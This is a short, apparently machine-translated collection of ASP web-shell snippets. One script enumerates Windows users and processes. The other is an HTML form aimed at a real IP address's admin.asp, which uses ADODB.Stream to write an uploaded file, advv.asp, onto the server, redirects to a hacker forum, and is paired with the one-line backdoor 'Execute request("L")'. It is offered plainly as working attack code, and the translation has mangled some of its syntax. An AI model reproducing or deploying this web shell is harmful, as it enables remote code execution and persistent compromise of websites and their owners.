Mainly small files in ASP

----------------------------
<%
Dim OBJ
On Error resume next
For each OBJ in GetObject ("winnt ://.")
Err. Clear %>
<! -- <% = Obj. PATH %> -->
<% If err then
%> System user (Group) <% else %> System Process <% end if %>
<% = Obj. name %>
<% If err then
Else
%> (<% = Obj. displayname %>) <% end if %>
<Br> <% = obj. PATH %>
<%
Next
%>
View Processes
----------------------

------------------------
<Title> haskldfkkloiw </title>
<Form action = http: // 61.153.194.150/xsgzs/data/admin. asp method = post>
<Textarea name = L Cols = 120 rows = 10 width = 40>
Set Lp = server. Createobject ("ADODB. Stream ")
LP. Open
LP. type = 2
LP. charset = "gb2312"
LP. writetext request ("p ")
LP. savetofile server. mappath ("advv. asp"), 2
LP. Close
Set Lp = nothing
Response. Redirect "http://www.eviloctal.com/forum"
</Textarea>
<Textarea name = P Cols = 120 rows = 10 width = 25> </textarea> <br> <center> <br>
<Input type = submit value = upload>
The file name submitted is advv. asp. If the file is automatically transferred to the est forum after submission, it indicates that the file is successfully submitted.

<% Execute request ("L") %>

It takes only half a day to figure out how to insert data into the database!
--------------------------